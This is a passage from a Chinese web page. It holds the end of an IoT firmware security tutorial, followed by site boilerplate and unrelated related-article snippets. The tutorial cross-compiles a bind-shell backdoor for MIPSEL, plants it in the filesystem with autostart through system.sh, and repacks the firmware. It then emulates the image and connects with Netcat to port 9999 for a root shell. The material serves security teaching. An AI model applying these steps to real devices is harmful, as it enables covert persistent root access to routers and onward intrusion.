close(clientfd);         } close(clientfd);    } return 0;}

代碼寫好后,我們就可以使用針對 MIPSEL 架構的 Buildroot,并使用該 Buildroot 構建的交叉編譯器編譯代碼。這里不對安裝配置 Buildroot 的過程進行過多介紹,因為這個過程非常簡單,并且在 Buildroot 的說明文檔中已經進行了詳細說明。

4)為 MIPSEL 架構創建了交叉編譯器后,我們接下來將 bindshell.c 編譯為能夠植入文件系統的二進制文件 bindshell:

./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell

下一步是在文件系統中尋找可以放置該二進制文件的地方,以及如何在啟動過程中將其設置為自啟動。這里我們的思路是分析在啟動過程中自動調用的腳本,看看是否能夠實現自啟動。

5)在文件系統中,我們可以在 etc/templates/目錄中放入后門的二進制文件,然后在 system.sh 腳本中調用該二進制文件,其中 system.sh 腳本位于/etc/scripts/目錄下,腳本編寫如圖 3 所示。

img

6)接下來使用 build-firmware.sh 腳本將修改后的文件系統重新打包為新的固件,打包過程如圖 4 所示。

img

執行完成后,會在目錄 firmware-name/中生成新的固件,新固件名為 new-firmware.bin。

7)此時就創建完成了新的固件鏡像,我們可以將新固件復制到 FAT 目錄中,并通過仿真來驗證新添加的后門是否能夠正常運行。這里同之前固件仿真的步驟相同。操作步驟如圖 5 所示。

img

如圖所示,固件仿真時獲得的 IP 地址為 192.168.0.1,此時可以嘗試訪問該地址。但我們更關注在固件中添加的后門 bindshell 是否已經成功啟動。

8)現在嘗試運行 Netcat 連接目標 IP 的 9999 端口,檢查后門是否成功啟動,如圖所示。

img

根據執行結果,可以看到我們已經對固件進行了修改并成功植入了后門,因此此時成功獲得了設備中具有 root 權限的 shell。而獲得擁有 root 權限的 shell 之后,用戶還可以修改設備的其他配置,或者將其作為跳板遠程訪問其他植入惡意固件的設備。

參考文獻

https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/固件安全/實驗/Dlink_DWR-932B路由器固件分析.md

https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-靜態分析IoT固件/README.md

https://zhuanlan.zhihu.com/p/146228197

固件提取實戰(附無損提取方案)

https://zhuanlan.zhihu.com/p/358956098

https://www.infoq.cn/article/8ukqrgkhcoxkrvnjnki6

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/70327.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/70327.shtml
英文地址,請注明出處:http://en.pswp.cn/web/70327.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用 Spring Boot 和 Canal 實現 MySQL 數據庫同步

文章目錄 前言一、背景二、Canal 簡介三、主庫數據庫配置1.主庫配置2.創建 Canal 用戶并授予權限 四.配置 Canal Server1.Canal Server 配置文件2.啟動 Canal Server 五.開發 Spring Boot 客戶端1. 引入依賴2. 配置 Canal 客戶端3. 實現數據同步邏輯 六.啟動并測試七.注意事項八…

Linux系統配置阿里云yum源,安裝docker

配置阿里云yum源 需要保證能夠訪問阿里云網站 可以先ping一下看看&#xff08;阿里云可能禁ping&#xff0c;只要能夠解析為正常的ip地址即可&#xff09; ping mirrors.aliyun.com腳本 #!/bin/bash mkdir /etc/yum.repos.d/bak mv /etc/yum.repos.d/*.repo /etc/yum.repos…

后端開發:開啟技術世界的新大門

在互聯網的廣闊天地中&#xff0c;后端開發宛如一座大廈的基石&#xff0c;雖不直接與用戶 “面對面” 交流&#xff0c;卻默默地支撐著整個互聯網產品的穩定運行。它是服務器端編程的核心領域&#xff0c;負責處理數據、執行業務邏輯以及與數據庫和其他后端服務進行交互。在當…

銀河麒麟系統安裝mysql5.7【親測可行】

一、安裝環境 cpu&#xff1a;I5-10代&#xff1b; 主板&#xff1a;華碩&#xff1b; OS&#xff1a;銀河麒麟V10&#xff08;SP1&#xff09;未激活 架構&#xff1a;Linux 5.10.0-9-generic x86_64 GNU/Linux mysql版本&#xff1a;mysql-5.7.34-linux-glibc2.12-x86_64.ta…

從零開始學習PX4源碼9(部署px4源碼到gitee)

目錄 文章目錄 目錄摘要1.gitee上創建倉庫1.1 gitee上創建倉庫PX4代碼倉庫1.2 gitee上創建子倉庫2.固件在gitee部署過程2.1下載固件到本地2.2切換本地分支2.3修改.gitmodules內容2.4同步子模塊倉庫地址2.5同步子模塊倉庫地址更新(下載)子模塊3.一級子模塊和二級子模塊的映射關…

【回溯算法2】

力扣17.電話號碼的字母組合 鏈接: link 思路 這道題容易想到用嵌套的for循環實現&#xff0c;但是如果輸入的數字變多&#xff0c;嵌套的for循環也會變長&#xff0c;所以暴力破解的方法不合適。 可以定義一個map將數字和字母對應&#xff0c;這樣就可以獲得數字字母的映射了…

科普:“Docker Desktop”和“Docker”以及“WSL”

“Docker Desktop”和“Docker”這兩個概念既有緊密聯系&#xff0c;又存在一定區別&#xff1a; 一、聯系 核心功能同源&#xff1a;Docker Desktop 本質上是基于 Docker 核心技術構建的。Docker 是一個用于開發、部署和運行應用程序的開源平臺&#xff0c;它利用容器化技術…

Flutter 網絡請求與數據處理:從基礎到單例封裝

Flutter 網絡請求與數據處理&#xff1a;從基礎到單例封裝 在 Flutter 開發中&#xff0c;網絡請求是一個非常常見的需求&#xff0c;比如獲取 API 數據、上傳文件、處理分頁加載等。為了高效地處理網絡請求和數據管理&#xff0c;我們需要選擇合適的工具并進行合理的封裝。 …

虛擬表格實現全解析

在數據展示越來越復雜的今天&#xff0c;大量數據的渲染就像是“滿漢全席”——如果把所有菜肴一次性擺上桌&#xff0c;既浪費資源也讓人眼花繚亂。幸運的是&#xff0c;我們有兩種選擇&#xff1a; 自己動手&#xff1a;通過二次封裝 Element Plus 的表格組件&#xff0c;實…

QT 讀寫鎖

一、概述 1、讀寫鎖是一種線程同步機制&#xff0c;用于解決多線程環境下的讀寫競爭問題。 2、讀寫鎖允許多個線程同時獲取讀鎖&#xff08;共享訪問&#xff09;&#xff0c;但只允許一個線程獲取寫鎖&#xff08;獨占訪問&#xff09;。 3、這種機制可以提高并發性能&…

2025 vue3面試題匯總,通俗易懂

一、基礎概念與核心特性 1. Vue3 相比 Vue2 的改進&#xff08;通俗版&#xff09; 問題&#xff1a;Vue3 比 Vue2 好在哪&#xff1f; 答案&#xff1a; 更快&#xff1a; Proxy 代理&#xff1a;Vue2 的響應式像“逐個監聽保險箱”&#xff08;每個屬性單獨監聽&#xff0…

第5章:在LangChain中如何使用AI Services

這篇文章詳細介紹了 LangChain4j 中的 AI Services 概念&#xff0c;展示了如何通過高層次的抽象來簡化與大語言模型&#xff08;LLM&#xff09;的交互。AI Services 的核心思想是隱藏底層復雜性&#xff0c;讓開發者專注于業務邏輯&#xff0c;同時支持聊天記憶、工具調用和 …

二叉樹(數據結構)

二叉樹 二叉樹也是用過遞歸定義的結構 先序遍歷又稱前序遍歷 ?? ?? 按照先序遍歷的方法去手算處理這個二叉樹 ?? 先A B C 再 A B D E C&#xff08;也就是把B換成BDE再放進去&#xff09; 再 A B D E C F 看這個插入的方法要掌握像二叉樹這樣向一個…

機器學習筆記——常用損失函數

大家好&#xff0c;這里是好評筆記&#xff0c;公主號&#xff1a;Goodnote&#xff0c;專欄文章私信限時Free。本筆記介紹機器學習中常見的損失函數和代價函數&#xff0c;各函數的使用場景。 熱門專欄 機器學習 機器學習筆記合集 深度學習 深度學習筆記合集 文章目錄 熱門…

Wireshark使用介紹

文章目錄 Wireshark介紹Wireshark使用工作模式介紹1. 混雜模式&#xff08;Promiscuous Mode&#xff09;2. 普通模式&#xff08;Normal Mode&#xff09;3. 監視模式&#xff08;Monitor Mode&#xff09; 界面分區捕獲過濾器語法基本語法邏輯運算符高級語法使用示例捕獲過濾…

#滲透測試#批量漏洞挖掘#暢捷通T+SQL注入漏洞

免責聲明 本教程僅為合法的教學目的而準備,嚴禁用于任何形式的違法犯罪活動及其他商業行為,在使用本教程前,您應確保該行為符合當地的法律法規,繼續閱讀即表示您需自行承擔所有操作的后果,如有異議,請立即停止本文章讀。 目錄 一、漏洞全景解析 1. 高危漏洞案例庫 2.…

【小游戲】C++控制臺版本俄羅斯輪盤賭

制作團隊&#xff1a;洛谷813622&#xff08;Igallta&#xff09; 989571&#xff08;_ayaka_&#xff09; Mod&#xff1a;_ayaka_ 雙人模式&#xff1a;Igallta 公告&#xff1a; 原先的9.8改名為 Alpha 1.0&#xff0c;以后每次更新都增加 0.1。 Alpha 1.11 改為 Beta 1…

nvm安裝、管理node多版本以及配置環境變量【保姆級教程】

引言 不同的項目運行時可能需要不同的node版本才可以運行&#xff0c;由于來回進行卸載不同版本的node比較麻煩&#xff1b;所以需要使用node工程多版本管理。 本人在配置時&#xff0c;通過網絡搜索教程&#xff0c;由于文章時間過老&#xff0c;或者文章的互相拷貝導致配置時…

框架--Mybatis3

一.特殊符號處理 < < > > " &quot; &apos; & &amp; 除了可以使用上述轉義字符外&#xff0c;還可以使<![CDATA[ ]]>用來包裹特殊字符。 二.mybatis 一級緩存二級緩存 1.為什么緩存 緩存&#xff1a;數據緩存&#xf…

純新手教程:用llama.cpp本地部署DeepSeek蒸餾模型

0. 前言 llama.cpp是一個基于純C/C實現的高性能大語言模型推理引擎&#xff0c;專為優化本地及云端部署而設計。其核心目標在于通過底層硬件加速和量化技術&#xff0c;實現在多樣化硬件平臺上的高效推理&#xff0c;同時保持低資源占用與易用性。 最近DeepSeek太火了&#x…